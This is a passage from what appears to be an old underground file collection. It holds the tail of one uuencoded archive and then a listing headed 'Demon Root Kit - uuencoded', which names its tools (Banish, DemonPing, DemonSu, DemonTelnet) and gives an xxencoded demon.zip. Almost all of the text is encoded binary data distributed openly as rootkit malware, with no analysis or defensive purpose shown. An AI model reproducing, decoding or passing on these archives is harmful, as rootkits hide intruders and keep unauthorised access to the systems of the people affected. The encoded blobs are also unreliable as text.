M\X$S'SP>D+E]`5Y]DCXIL@[<4YU]KL_VO7.1QLRLP8D/@W@89)X[@_.`S0.# MK1970.?+C_^%'<[2-7;YGVT7R#L^P$-8>\CN1'+EZ*.Y&2>^KKHH%L=W>^>& M,?,:14]!T7(+^+04#;D@W5:N<ZWJMLAWG0!]Q2BPXCW-S[&;;@O9\@)YW`=T MV(HK$.M7#0FI_EU5_=E_[B;KN8O<CJW:EOI8/'[:2ZL)3?/3_:/_`-%R2P^V MX`&!/V[WV4:*I9_[3X<\J`OL5H-'L27,+!\XR0I#RXI1H69Y#T0YSKNLYP-S M&:Z[RFF!>1]P3,>7+?(NO%73K>DDGE:IT](0&;"7(,]EB2/%R@`GO4/8<0U! M'$:G"J(Z^!@%L@T!LK\P,O`WAF+E6XA*A^NTH>!_R)4*KI9&EZLM\CU^?$NH M1>[\$)^1]UL_TB1,,_!-)_!P0^-IJ*\A4)_57]\PVH)[XWWP;V+H_!]@OP=, M_B.H=T$A*&"NC#_^#FS(47L/9.#TY4`5>Q2H=R,*$UB$O?4RW1_(@DL[VCSP MQ_'D,48.W&\%_L2'/\<5C/P<:E^[N/-S/%'X)"&60GD'BWV"8K<1@B?J_@.K M'?N^<ACC#A81!A'F0IKK643W>Z3?]7.GV:++1XK/8DTJ>48';4:CON*9K\<0 M%<0_0J+X"N;Z!^02#P5$-2\TN/%L'R<?_9O&$[8)Y0E$CT85']W=U:[&']W; MCVC:<080'!_8YX%=A'KLAS7V),'6[:SI=6GV89JJ(^FP+=%^I->I=E6'.V;8 M6_7F7#FM`TN#HD,36[WCP1\^H@ED<66I3SG&M"=KJ.R.P!:%LK\TFZ:#>[06 MN6."XL2.%)_"MN'%(K](T7H1G0<^[H^\AP(H5]!:0-O2M=7!)+_L3V(FN<;! MM,(D5,TD>K&#G6,L5`Z$S!!?^=*_`?*+CL&<#PHZOB%IY9$A5SG7@/P&G6L( MAYJW=E!?PHH%._BGR(?"PTRS>"S`Q.C!,*$/'(.0-_T#31Y[ICWF:F?5Y4*@ MX`]VR?9.1M6V@4WL="OG5O[>^]WSAN=MG6*>#_H`!>E*5YGEM\;S,R)X/B2, MGP^1WFX\41<I_AUY9D[@:R`$PVY;IV%G:T.K;0BH!?I[Y'2[K!U!8[+0XAQ' M3]7'T5/UTUNJF1#"I)D6\8N`$(:_/_@#'#HIRD*'9,QBWY=XQI@V*_4\CG/8 M^2X[/Z4'*S.ZF0YF=`^59MF[-=)T&-K%E_E!&]6IW4'G;:*"#_PK@D655L89 M>+KU<WV2=A'BAOUFU;8>/&8A16V>L:T'9ZNMM]A;0[C^N\QJMV&_.F4!/=;[ M@6[Q29WM*T<'^2NMZH"OI8$^.H2_)7#-*91W^M@,J4F:C<I7HW5<\'K<[:9> M)$BBLR+KK?4+?3:S8?]BE3:,'F&KUJ<X^@KD@D!>HAM9?Z?/-LRP/]U/M^%C MQW=3+X'%Z,TME#>`H%1@`R_@BN8Y=Z$\VL=.<6N\/Z/GHLJO'8"<G8QJU^+3 M7QK[.$T5!;?!PH]7?7CK.#J#<=JPXS\%Y<FU2DJUB"I9`]9[XI_])[$^2FA5 M^OO"!XXEO:Z50WT!%6!1>>'^4UEZ)SU\;GQ+`O6D1S:V&RTT1!77X/.W>==[ MXUUSG*,PR?'.U`_Q,'T8J'FJS^S5N&$&R^7TL]_V'[6KNR%PB"?#WJ.14D%7 M9N-#02I&];&#PJ11R,*&\(`DDH@[U!_E)R$!P:&A#K+3-K33=+CF5B)..E6G ME=\`_\'"QD*!?!884M$9G'YK>EB[L[.8.$N9]&9Q#(C2M0\/]!7('>_`:KW5 M<2%XZ&2889GYT5MD"#N/4^!YQW^N6T/G68D;&A]F>3[0F"UB'!;[#!9KD3>] M@P=&Y2WL=.XE98E-/ATS*C"E'W@8Y]T7T.D;\Q:;`+ML<P\F0CG>1/3Y0^?? M)(7.7R2%>Z/PQ0N_P[4,:6J6A32&+O5KW]M"FD-1MEYZ'`J1)Z?5W"K8_ M$UD+QDP]92ZTR,U0KC<4]UQ"A#8MQO>?_U`F>*!PA.%@B#F5]LR!#8BQ?=// M!X%9LGFCFNW581B0[?<"DZT)U[S:W9@(Q/7S!$-#!9WZB\9Q\03^SA#BMZOG MQTHW&`ZVFE,<^3KY5^QW2IXY2#G'9](1B>8T$-B[EQH>NI$=+3$>IW7QNV]I M=(GO_-^!4_\7ZT9X>D#];L#GOMT_+NHJ^6(`]``BSS\9H'PZG_P_:U-^J:)G M,9Y?X=[F(K/GYQB*J)^>1VBOTK7J*8L\\SCJ]M_:0=W%E3#_E9>Z5CUMD5^G MZ)?H9ULQGK5$7QXKOXE'=`KP"&`]GG@D%<B5#4J=AH<70%K]&Z@?H"SXZT?G M/J0Y-$,._K&3H6$4))7'RS8H3RDEF2K3>7`2<8M)D$&\`R[RQ'9FD]""-OP- M=XK0AP/=L<AM[:1K]+,RW!NR]X7;QMF[;[)%6^3?^=.DO]J[PVU?>]]'/Z\[ MUG9[6R,>=(JUR`\&:.YN:AQ%&X!H\]$%(!JS[.TEKKP[<>\SW#:Z/,+1J(<4 M^;5>MI=)F)E'_AHB60Q-.Y[E<.>VR#M`0-Y99!:\H]WBWF$0#G.+\1B&NL4J M".445AX;,#C6&O%WE:Y?X^9?O]^[%#J7`(G>WC-EPW"GYHE[^Z"3EXJ+T<), M=KL>X&>X*&UE3R!-Y\Y=*N;(?C?C=VV#/1!'\UD"&(3M^;J#2.8_[=0Z4A#P M>-+OH#=?70EEU_?,MVE?+82[I6)QH*X[VZXUQ9WJ-Y_9ZR+5AAWX(U?GJD@\ M@+I?BNXS[%\9[7.L.KFMCWP'O7+$)Q'5L):FT$_>'%3Y.GL?R6P?R4RTD\A@ M'#P8)+-])#.6!OY'@?@0U;#Y35H77D-@>6JECKJ34S:,=*XZZ8QY!BNQB$XL MZ!:WTW12J]0R$A"GII%51.GA;LAB$7=05<.#J[IZ>_)/L>K$1R&'<]4IBWSF MV"`E8(KL`RD+6\/%9LCK.3D<90V"OM'QL?W()7O/),-#^N%HH9]H_3.8I.Y3 M&MVQ3_YG(.N]:Z?)'1K="Y#>^;Y&=^\)L&EG^J>?`5S<']"H<T?]VON6XZ.F MX]=N,;7N+E7C6X;&OT30SQ;P>:33%&EO[3.+;Z+(/2'#T+Z)WP7*?_CH(.59 M%ZD"6:H](,M0'<ER^PI5TZI3AOWO-+YE2U.J6Q5I/]IG$:,]V,/3!U=XI"<Q M$OFJKSNELHT0)U+>[XXP>S3<-6>I.(6B.H_\F&XJ@_D@KGB3;)&&':<-O,]C MQEO$V1Y_FY\Z,KA1F@ZE;#WH>=R`=OH.R,\.25ODPL$5P(06P83V02C9<G\O M@2M[427IO6.A/W*``.UC'C7SXF'6\A@R#(M49FJ^4O?IP]<GA+\.8_5B69I0 M,\E!*>N1P]<AB#<\3BA*%+\(Y,_YD?P2Y)]]I1P*/&]IZ;PN6$!;.$ECA<J; MX^9R<1P_W*DS[+>HPSK,8,:780Y9;AU4-5%0IL8V#PH,8=U=(+_T(SF#&^C9 M&X%GX(F'$(4'33`/I8,IZ:"6?-`H$OPJ?$0UYVKZ%SU(KKC^12%O8FE0OWUT MZ/KU;ZDF6/^V7<1GA%+BUAM`"PT-^!L7^\400\,3^(3W<6C&MHOX<%4R;AZ] M[2*N<:7QGCHM\E&)N@ISNX0AS.WW<]W=0KJ[X!#I[K]G#KI_ZU"Q`3E[)<0O M>[7]HMK0B&=:Q<>HO*\/#D;L(6S[E<3^Q=!`.U'NNP)RWS68P@)RQ^-`[J7B M<\1(Z74PHF?]/[1?__\AJ/^OCX\HY$/<1VS\[8W!L*%F\F#&..D3@ZN=_%JP M`=NC0NM[1FP89=A_!&9FC0]GYE>Q!_4@,X@T!_-9_<:_G:`I">>"K)DJ^Z<A M:-+&;1T"ULW@G>F&SI1`OT*DL=Z;Q3>XWASG>G.2Z\TGU"[M&S^J-UE05812 M5=Y,U2%<9W8=,4K:0U]"_D*.+P+\7WZ\X42=]E`/HJ(/KDOE7:\/0GC48=B: M8U%=AV.DA*5BZ%?(8<E@,J.T,/_*F6J+&/&57Y(W#SYS_>:9:I]-!T&(SZ9* MM[>%L"D\J<WP\!U]/A_IEBJ,]^>5-OW`@>NRZ:_`7"Z.H!9N&UQ.-G9O%Z,I M4]8@,WFR=<JXW&Y1O\KZ2R-I7\4.6LKQ2,!COPK@.L"G!^%JP)."<!7@*8B+ M&5_AX\=.L_SZ:[22>VW?E^"DUWTJ2"&N_$]SR?OD??'SUP:K!6".CNF[#G>C M$EBHM?<,)B]D(D-`/54X),@'61'0B*A!EL1M0.00Q4:N4%G()/%RWGUU4/XA M-PG,,AT-#>(I:+S7OWI=/&T.1;MT[Y<!W5OX(P4$^P.D!"K#_K?!66WX.9YU M[%'9AI/C5R#WM##W)]+-_#Z8_UNNS^7Y3"M<W=_Y9<MUC8U?0#EBR5?(@G4P M.16[2TS<HPW,0U'C7=M#<5%T46-XZ"7V*IBY'].^T$D(5@*4`F0!Y`&\]N'G M9"M?>^]SLI6OG?Z<;.5K?X4P':VX/K3^(JR_#/L/@Q6G15ZN6/85+K`@"NZK M`XKV_"OT\&E0JZP-7]$JR_,)VW<0[_\J(+N25P8A@73'MP[;22:"+4EX]L9T MLGY^]'G;",?AY*0ED5)L_>80U7G;>,>2DRQU>TPT-*@I1NTSG4R!"2MIU<G- M[8Z.J>=AY:)7G3>7"[*5?NVLIR+%K8&6?;!_,`.9V/%J(,QF[>/M>6PPN3'K M[>Y<&B1*QKL'EY&4R/!(+VXDY;+?>HGVH/I'[A_4P`U>V$GA-+]Z;V7^_!7+ M.^\46$N\3VOK??O8(!JGK"',XDDY4/G/]@4IQ35'E.?G[/=EXI,!H:_<=YUL M(\N3MNJ!^RC/3UAYY!=X%M"92''75\P?>.XKY@_\C@SM#R\'^0/79!!?>"H$ MQOT$E;+L=9C.T-@[8]@_TMZCDF+!)SDA#?66N>T]:FF"M]@-=/4;52JI<%O[ M7JQY./ZFJOT58F);>RN$CKI3A8J\UKP\B#X_Q(>_!]^J`75O'VK8_X'_Y.@B M*:'^XB3IUD:?%,E_8#>)_<`ND1>-66YL&LLBO1DXOP/_@GE;>_L`=C[ZT^#9 MT?M,9Y@J?@W>0Z//T(B''_MSX,$?;I.ONGUD?<^4#6.9>\AVC][W=[YW#/<Y M9H4Z;*<*:!I26$K[TZ!LM(KUU994OWT.'EJ^/UZ/?:;AS-7R37_.:];MLAX+ M/#M0GH]&-G89&D8"5T$/9^S=.5NU\H3/Z0?'9O%,H):B:_)W)L!?XFG@T-W8 M)=V/;3PHF,5/`R6,&TP):.%UAH,?X!GR@/J$-67=VDG/7-O2;NV,[SJJDH;Q M;C2R;LSVF?2I]DLCMSR`%`+Z0^(7@;J;_S"(NNG'"89&U)6@I[K\W6D;&4+W M<T%^Y4*Y6KP$-<C[_A!X]*I);/56)':YZH[C.8ZYA1;YR=_SMZ+-M=U57W=6 MD#SE>CS0X3)UF.7?_9Z?1+%]N*;==%Q'?,L->^E]&<?!WKX$=UB*"@A)@<"_ M\_Z&]L4K_\!.SKSN9S3H["<>.W&NBG*:\#TJPYR1S@R-([\;'RV:NLT6?J3D MMA>QH>>"\[/3<&P/FI^,<[LM!V+H_7)X]?G?+]=KO\,7>+\</A0\_/*0D(3Z MJASY/F#MB""4SBN>9YU7(5;6S,N<ES8O95ZM!6*6S1.LJVUKA1IK=56-A"\+ MKBDIJ[4*E5:)WBI;+6VB$%^Y6U59*TRS&-=4%*\U5E9)QEI;-6:REH8+>3D6 M(R,QVBJ+UQ>7512OKK#>811B:V-KPP7)6H$%SC/&ELP#@OLJJS94<GI(+*D. M(JB=9UQ=7&K$@HTW*3D#Z4`\G2&!@O`MO&4EUJ!J^&N,Z8W"_!7`_)W$G$3` M>OJ]F3>_MGBM%<KGZ<85TTI1,*OP+LT8Q]N_F<EILR*GS5Q.F[F<IJX*#\,< M(N6KQ"O2KPH7DBLJC$"\H:KF/FI<K;$,9,4DC9%"GBEWB4#,EZVS511+995K MC376DO41X<+T4NOZZ9*T2<BWF'*%4NN:8EN%)(A60:P4RM8)0FQ91'ALK3&V MQA@7*TZ%BS0U(ASR86DF?*<UEE5=4U5BK:W%VXJJJFJ>#+7C:Y2-L:7&$K&X MIA:B06:Q)8%_(2)\!10^S[C)6KN*YT*^C)G)J8Q?:V4I0Q3Q5Q=7EI48\=W1 MU@6QI>$!JM*J0/8-9145P2F54E":@E&:GY+2>!DLI5\N*B,MTV+.2EXN9*45 M"::L]"(,DW/R\^BF*!>O69DIYN2\#"$SW<)$"YVW;)E0_=.:6LFV?L/&3?<G MIZ2FF82$Q!DS9\V><_O<I.+5)2#U0#]45*TMJRS"._;&YKBI[-7B<;4E$#F5 MO6\Z[VY&)TP3A6G5`NN\3.1RBF04K<4UQDU5MHDH\#6UI<)T4-;IM2(+63Z4 M:5I.=AY<A$(,"S.SL@1+BK`X&9HFF%*%Y.5YT#@ATRRDY-XEI"U)AFMVCEFP MF`133JZ0G)*3FR=8\BUF0-.%;%/A-%-V069N3K9@RD[-76Z&W/EY&:;LO,S4 MY+Q,B,[)2O.3+"-1YJ2"O+)-2W)`(%GI63F%0I[%;#*E"=G)A19A6?Q,HSDY M39@YX_8$8ZYI<>82DY"7MQQS@<S-^7E&Y"DS>[&0EYR:G&HQYF>F0=UIQIQT M($_-R4TCO<_,3LXRYBTWFX!S2(3LC!U+OCDMWVQD17%,2$O.2S8"S[G+C4I> M(65YG@FJ2LW-$;)R%@.]8%J6AT4E6U(S,X'7G*QT9#FG((\'%@S2661&'@\H M,C67,#/E$G)3\Z!)F5#-8FJ+8,E+SLM'0F@J<&3.-5DLQL4YQN0,$P@B-Q5D MG9J1(Z0`7[G+A?2<W,(9=$T4ED%]<,D6LK*!.R$7*`L%R_+LU`PA@;18DH)& M)D.,`T<G?S4[#3-ITYH*6ZT8G%Q=J@SK*Y*";&P\H&@!8S%>B*NLJK1.%6J$ M^.EEM;4V:WR5K49`>U)+9%`&A#C"V'O?61%@_5=SBR_$X;OVRRIAN)<:5V]" MHP]0BB$$PFTT68`R&RVFB5.!VK0..`_D7[APX52_%DQ#+3`*F1;CI-CX6VHG MD4((T_RV_J>VXHJR-676&FQ97,+&V(U3XP.9F68:XZQ7J<$(96*1@I&*I/R\ M5$A<&%NZ$&:QQ8NS3--0RZ>EPH#+A?XW8J<9H=,P`^:)+9WJ'Q%&&I)&&IU& M&*9&&J]&E*@QJ.KTJIH-Q36EQB7%M?=!.1N%_G6#C"Q9J1`";]DYJ%,X;(VI MR=EYJ1G)V8M-@K$@.3<3OQ8@&--,Z<GY67G"YO2L?$L&:CJ[R\P6-B>GWD43 M+A3$1(-EWR$P3I&G=56E5N)H<U9F7A'IZ69+3CI]BD#8G)>;;+9D+A8VF](R M\WA!5)A1*6TAA@M1E*`11E(1%I0*&&%),:)TA673N!6>IHQDH\"M"G4M&^5" M9G8Z2&P2-HX%6?DFO#%94C&(39A91;H4$!7-VK$),S8*3#FGKR^N06,Y?8.T M#BPLH36VRNDV0@-_B^)NFFI,K:K>5%.V5I2,<253C8E)<Y.,N=:UUDJ8BJO6 M&"71:LRO+%MOK:DM`]V!F%34M*J:RK+B^'"<O2EO+0Q(]#>LI?'APN3,4K_' M$%]RVWIC(IC#Q*2D.=,3;I^>.,>8,'?>[+GS9LPPEHI5%17%,&&9-E8;)PL" MOCM)Q7G#D&8`YG`(2?"'\2]?TNA>!6CE;U53"_W_?#W1*M]Y7X^1KC?1=0I< MB2F:>SE+LP;#DN\RS/2^/KQ<PDLO7/AWO89JZ6T82KV\T37KL`Y>Q8Q!M5J@ M'WSA7[^R:BM*KJ<8EF=3;1'R<#U-[*\LU]05Y6_V98V_S3.X+.[B_5`IL&]\ M/2BP[WSA21A\XH8OQ<2WMMRF8M_I6J9FWPW;JV'?"<-7N.!1FGO#V+?!6D>P M;X;A,7[Z9M5=//P9"U%6$8J<;%)9!:CF%4V&ED*39]X^+V'VP":/_D*C&PXP M%&`(@`9``.CY7*/K`O@.X#S`.0`/P!<`GP%T`N!6'V[SX18@;O^]_3F3QT-? M:G0/`&P!J`!8"X!;KWD`.0`_`3`!W`EP.T`"P%2`20`W`D0!#`$0`'X`7CX% M^!C@78"#`'L!?@7P)$`3P#8`&\`Z`'SD6PRP`B`7(!-@`4`\P,T`8[]@/.*> M^^^_O+*-0[@L%+DH;7X!:'\+L!O@EP`_!W@<8,>7`1W`O]B,>;%+C##EQ2;? M1O-!BC%VN=(_:RNJ5A=77->(H'S%-K`]E2778T!8??2%F:O6ES0O<=:\&5>H M@Z",/254ODF&?\_NT.A>`C@(\![`)P#?`/0!#'M$HQL/$`]P)T`VP#T`E?C- M+(`=`,\"O`1P$.`]@$\`O@'H`QCFAOP`\0!W`F0#W`-0";`%8`?`LP`O`1P$ M>`_@$X!O`/H`ACT*^0'B`>X$R`:X!Z`28`O`#H!G`5X".`CP'L`G`-\`]`$, MVPGY`>+QFT8`V0#W`%0";`'8`?`LP$L`!P'>`_@$X)N=[`T?"N#K;6F\@DQP M7.)KXG'\R_7L[4T:!WMK4ZE=H\-QK@UAXQS?V#R*RQGM!GX;#>U(@II]AP^_ M'X??Q4M[&/02ZX"0OALEL&_^!2NA<H_\)"3&)R3^_SB*$Q:GILXSQBW.SI]J MG!%_>_R,^(KX&5?&_K\?<W6^!]L:1A=?NVF=5+P:0JF&A:)R1Q^YJA;BQ6)8 M;<:7;JH$4A9*L`*HL5;$KZZM93?5%1+2E\&5;NES0_'T1:OXFBK:%XIGUQ*I MJ@8RE;)@;95$)1:O*RL16'&P!+`"6=6Z=?A5K,'^W<C[&,<*?7M48.-!^5-\ M*/P.H);3X5C$CY)L5K.QAG\:#OA]P:&<#L=H*1#LT@:^8XHACE74IQ!.AV-: M$\;&\L!ZT5$+XW0X9O5Z-F:1=#@O#W4U)8@.QWB:GHW]$)ZNT-W%RT8;@C:F M?EC_L1_)PZ5!=$U`UP1TU9H`G=+>@B`Z_/XK"D^3<V5Y*X/HT*9%KKYZO:N% M0'_@IR:B(>)?082*7,KY/;:/OOEZ'\@GZ`.E"JO5072XGQE3W;]>A6Y#$-UD MH)M\#;HM071H8V^K9M]F'"@7.V\KTM$W9W_*OC>K":+#\A_F(=+A_G<GT'6, M"Y2G\/"HP/P]Y0_IHH/J56Z?#+K'O^X:@;X].9!NN!#07>)'8M_C'4CWOP%0 M2P$"%0,4````"`!W@D(B:Q/-#A8Y``#L=P``"0`,``````````!`I($````` K8FEN9'=A<F5Z55@(`"GG]C("$_4R4$L%!@`````!``$`0P```$TY```````` ` end 2. Demon Root Kit - uuencoded This Root kit includes : Banish, DemonPing, DemonSu, and, DemonTelnet. section 1 of xxencode 5.15 of file demon.zip by R.E.M. begin 644 demon.zip hI2g1-+c++++++0igCW6++++++++++++++++5++++Ea3iOLBc9p-9+kEI++++ h0+0wIrkUGlOcm5w2++-l0k++1k+++27VPaZnO0xWMKtdQqUiMtpKPJDPFV1y h9Dq81ElUCH8qExcd4BCV1NADQN6C9tD7+AAcoVZTYSsoRmS2EznTgzRaGsOq hGQoUOqxTPixtRjTQvsN-w2T0e7m3kMZ6763t7O+IF-8K2dU8Lc0O2OVIIQNE haqT0AgUHeL7yilg4tnAeEL4S+ruLWJ1+dwMZ6kJbvuW08FQkcOluECggoOjv hABnTznIqNawfaaRVqCq5sGNZOJtZ-+uZmWXTbFopZbE4vFItZrop9sZQAwHH he8mxBYqNmhh9zUGhlP6qXV-iNaF84M3DtyzzUcryTG9uGJPoBE+PGyJ3Kpap hZ7DXgzD7lvQBjRhl6kkdIm06GbZ4lcBF4BtnaY4FIBN7l4oOsyAyAYOUtJ4M hnV6-LPpwSHo85wB+uvsMqgu9gaDJgTh0bTuDFYqnWRrPaKeRSHAQLEs5prsV hlxEjTvhqjXBS3kaPcqEB-xTXbKlb8EtFrBgN-Toic1Cv7IUcZH5ASEJz2r25 hG8cnTMKalQdn1wL-GbmB6Zi7ju-sdRKMlRF+wa8w3y4lUp7UKhDC-aLrGMuM hcOse04OO6yRLP2AT90+DJ5I4ybJV+fmEGeE6Yw3jS-qPHO7Kj0hpdKkPa4Xj h0OhAh41BNYjiG7UaWjmCOgAHbWkOEP-ii+YxVvld3RV2jZAiAiaHP-cTHmMf hQmrwYmpnTyXn4RgobL4OYUBfR2iIv4XuX6H5BZEWMyD-kyhVt8UQxsM4cVkv hrGwZWZDj0SsHf8d9hs+zOilwsg5nhVTDqEuTqjdmL086CQaOebHKQLpVu+ZG hDN24-zdJ5wZ3D-cD6sz7ZbH+YEmqAZ0o699-XIz0vC1CzNkfgYs3mSQhKcr9 h3o4Gix2maO3BlgScn2VkQInh204swAkxQLxp+0pzBlByDA1SgzgTTrU1Dl3e hcJhX2MMsuBeHV0I3WFI0EBGGjY8nsIOEoIDLKcn0pcnEUfPJ+mcAgCSeJ7Zv hknliA-wrJONNbD888HDuH6RqdhaMZsHNzHzSb9vtR-d3FyC-eE9RkcIh0Jh1 hEJ1DO2ukJ76ALSBhjo2guJT0dlojFp5Yydzd+S0LRmhponkdubDQr2fcMv7v hyR8+pWWKKG7pWOqOozgPSsglPaSYEpxrXmquDiBYf-D2E55Tvui6S9zC0BCL hcW1+KHt5rGu+iK-faiT+i68OWnixhKSbgLTUKgRZ5eEtZkHlKKYfkQnvkhN+ hUBp+vXG0UzXgtCHRnRb7SKH4iG+plJhSrww61YY881aSU+UxoVo7Dwn-xjM8 h11w4Ui1z2DDc-s4h-rDqLazYJmpjkwClqyzPhq6tGP1ujl9-Czs4z7RwPPkJ hC9rC2lA9ptwLdsrFhjncyVFIYTy+tOYbCffAzO2K8vOgFMBHo+cno-ew9pch hvQSg+x+pgSxSksNjp18FgguUWvy+P47SsQR8fjURMQgK5c3fLLEMMvWmFi8O hH25EuanrQqWhiRibLm9SmHavXH-mvuWgPmeORFpuvNmWpXJYMumlP9Dqs3hd h5Tc4LHzdpqH19mv+kjQgCS3rI2g1-+c++++++0igCW6++++++++++++++++8 h++++F4JhPqtEOKtb9p-9+kEI++++0+12Or6U2NnkqaU+++0Q++++2U+++2FZ hPKxiI4ZiNmxBMKhZNaZgNTBlQTBlR+xKo9NJoDLXsWf6n2irIU0FSjZQL7Zt hlGK7CHYE+GtC83R-BxT2rBEI98WULtmIaQSZX7+flW4SOqNW+X5MEY4zh9V6 hDnQl1sEhi9WGQp6HwumsC6hm3LHH39HowW5qQE2+I2g1--E++++6+-pRT00v h+gODwGA++Dhc+++E++++F4JhPqtEOKtb9r-dPaQiMvEvOpTPif8TYpyVoZC6 hOM+28-g6RBqE4CepEt8HFvivqesQlpO69suRyU3ZbzPyxXgnYakt0Rqvtuv9 h+a8DdB5AO7uGQf-PNfig3GuT6ixibf08Mv1uqSYN4wot4z+v5WEl0qQgURRl hs1rk8DOG7sGoPByPVJ5UqTi6cibvX3129C6lXlusWr-g4gqxa1aVmlZwiXk0 h90uPFS40lS2gSPEX1ep-2bbHB64K74FLD9fbDbxWomR2QCjRQrOPdb4gI+us huwJWV-Q4n+tQZgO+Dk0IOSFkUYmxk6uS4-0tW8jgoIja96ncAokHl966LKza hCHPWe18YMwaXVNQU3QgcTD-Q74Ri7wHy9DHxwB29vd-OpwB-AK9-QEiSbCBn hTLy3B-8Sd6Z2g2XX-0GIq2+fMfKbsEAqmEJ+7D+HV6bbw0fo+75tU+zFtBAG hSoKOM395hvo3XqUt1hQ7UEYpWGV0U2wr-S9yTqVVUYi7mEqRR+2ONOh3Cs1p h082xMUgv+QKkzHULD0oM6hPN6COCxYbRP-TIAT3Wb16TXlB+FkHCi7qYc6qs hv8USdAT+V36vGFN7+WNNyjPH0WSqQly2XntrvnXWlHIiYHc9gGL+byCb9gxl hUc6zQ1xQ+UDHdrKnEEGttJFnHIQdSYaQKo6MYPOnsrrKtFs70P23xc7jAAUU hn7h7tpNl8Ju-lGZ5ON0VwQ03Bcs0+csKMQ6JNmiKiYZiod7MjCECqV2AxR1+ h6fGUEBVG5Ah36oTknVemMSxux82tA-YwxkSxxpPPP9CfXx-cgc3tMrN5ExPg hhZafploBf8jle1QMgbzxena2+Hgvq2HidjiFaLzo-yNkm5c1NhrqClPU+QG1 hNbRYaQAegvehnfVhRKx+miAFuzN4f4DRKWDcBidJQHt2h1uGxOvNfHZcjMDL htdLJgIMTWO-fOxH3uOtVjWPfBkQXenLiB+SgDlvoSoD0VbmpfK4fovFinTMy h+m7UMaOy-vPMw3qnombk0NU8P3uNE49neYCsO-tUgqoBnBM6yQaTKW+pc8tH hNQCyqP9kkTn1-3OOUsxJWLNczbAAbO+FgPKPhwoPM8vm3q8-7KaB-yMh2Um0 h46ujVWBfB-uNv8PLOkwF3O+TacDrJggQBZWbBmG7XMRa3GMNBKZuk+9WUaNs hjVcD9F8QpFqNUw4sDv7uLEAFjShx+AY+gIoMrGMVxvf2AkWdBzW6S32Sh+NJ hxi4R0T+-mdGYpYFN123ufF3Worf0f01DYQMgutcr5EiYrX8lhMS6DZV1os+Z hgsPMkF6nTqVy7-v5l1si3h+a5XLZfR8GAiiOBRjj9GFSRUN343dGOLfLW4Ys hPfqHoYQvC0WLLrenkCInw8J-IbPaRdGvr2xTq4Jtuvwe9srzOony55kiPkn8 hbsChFjYZ49srMkSvuBq7Y5L81bNXxBEC6l7XlsYx3yZXKyUFnVZGiEEbiSyI hrimTgMdmNENvQp+zD1WfPnI+dssXmZ5wkr9DaFVRTM0kKEQCnssDOawC1cxM hvSmwxhhtzMV3TwMnbtbTZj9d5wyHTf-P9fZw2ENxEZcikOiBvqRJ2hFBujYi hHb70HOcbCnYteN9nTEfH5MVyRs1I-aYxUZyPQxwj0vY6BwwiseTsM4Z5xa7z hzbM356TCDIzKsHDDtyjE-A9X-VnSLK1v0BQO+dtsw5TU-QI-4Lnt55nWCEjF h08g8A5PPz4BWxLjxIQTgZctf66n0A5ROl7E425fR3H6Hpki960RtKeskkuAc h03Q5FfUol7gYlqfRxWSrJVSdCHfAs8KqSMqi-A4JYqCqlouB2WkshBed1v5O hHanawy+C2UFM5XI8a9DuCCOYJc1-7+XxvIG5xdihrwoFc5zntiU2NXWdoHEk hmw9yldMqfWK9jHztmUkTahOcJ8fLGWLNBSOM0wIMHFxh9w5Y0cph0OZFMKlr h+1v357N8NnEoG-RH0CZUh-2UW3kKEGXZ9DN1A3PGCHaiKNZuWJ2eFQu1Coaa hzWRuTzjqu+iWUIk7odoNNgc7tPxq3246pyOxYiAfRLNlkGfolfNNvJjhBwAc hcj+GGV6FYsNUO6s2WccUVLqzN+8dYTJdREP3DhiLfD6zgZTSPHFQEPKRME61 hNUwq7-+dy9OZm0m-01FjyRf6o3lDfXgEX2cZM87Kpw+IMRsrCxFke1Joll1F hfFP-XnJs5nnzhRLda4peChKOzXaqE1wEL8xds+2h6s6DRT0kBqaPJyAPP1VS hPQ-UdIORucoEz8sUQk-sjJMX2Gl+ju2WWNBJ6GlKdQ-illr6E7f1oOHP+r5o hWx9EaYSXHeYc2OrFiWt7eO+9lK69L2Fvr7yorjqCxFcZZNaiHX4h--o-bSKI h50Pqp6TOkBjbyxEJ9A7Pd+h2JB-koHjaLpASC+dXn-uVr9+1RgztYWIF4-po hVumdBPS1CwveVuS600nfh5tqG7PZV6iZno3-PQR7MQ1Hzfu6ede78j79ZJAg hmEtD1G5-PlArLItUXYiRmINNlWNdLXfz-ynoGuAAAGn0L-wRjCquYC30AguH hg65KwnUDYI+ANKedo1q-Rs7dQXzKc7OsIGeFxMhMkH+oU3S9bQVPEd8C0B67 hYEDC+5rEdwlHTN3oLUrVrEHQCtybCkp0Vb1PGIWSAjR4IQrwA5EF7MpfEts5 hUzNr77vRSFUbK0o6mgU7B+FlI+2sD6NpdV6VQkxEl2ez4CRMnJh6B023uxtw hCZ6Yhdg6zLFMIs0Pti0axv3XTXc10-6QdU4F0qXw2+ELG9mGUBk1Ypg3lEVW h8AjnvYeVNDyLe4Fek8C6sJBI7ar+2ad-VHzLH3+65nQ+i2O9aWsVz9VMGahT hYZlVOOP+U7jBSAZSlZmY6GF8tCr-xU3S3kUmm7EbXll9cpmA8+z6-HHp2KyG hp7Zjru2Ar31fFLEaw+NHR5fRakZcWNU7M4Vy42mk8USpka3Q4qFzmsLwLBRo h6Xf5uI7qVWQIZkrt75O8emE7BuEO4F7Eyss4GhJOFVCoYsfF81y2c2IUM+RA hda9+A0+kbaQhZ6TVKrZVSo53XisQr6WtSn187NE3+VfZYY0vWkqBwfz97TsB h--eUL-YZ4ZLmZc5Pm7f2061046-80oPOQFrk2tMlPo-Xc0KQ9rCUgjQ705cL hn1pf++B7EidCHra13l1Xn7jVFoDksAZDNkvgikgvjez0T9tP7HI+Fk2D2TR1 h4waLtfy9DaFNVEZ6In6F61gwUT3ciRBoVjvVLKwsuXNjHT+mLq12+VMdR30a h0ZaGy3I4nU-NokqqxiJmtqFb-JXT-1nAUA8oQSGXxcu1iDOCzGDhzEXSLSrx h4BuNxjs4riypxlBsfqjjjuqADpoNTkPjyncxGC-55M+IdXdUZQHuoEfCCV9d huE0YAh+-7ujH6dqT0pqEogwpV4FC24Yv820Ei4Y-QeXanW-5Oj6AQfm4-kaA h0l0YQ3u+N+FVgMSpbhKTx8UY5ocZWq7ECjvdW9pall+zNRs8PzIj3D48yGfq hdTV9NJatL0t7NEPTJ4hU2EO81AzP8e8R+WPAewBNdKWJlVQoZ-YtUQj9EkAS hLo+De4+Ex+-GeacuOFWNvmUxnX4CJWfC50M0yk0nppl7ZKpNttq-QyvCtiTS hiLwS9AyzFj3tQjukNFXglGInSxTUPoflckRy0f+M15lA0P6knbOQbLBs9UKt hgvSHo8g6ns8HZs-aJgbO9s-hAFtGPjFllak7RIy0r9fUf8fIUhhbKtUnb2CU 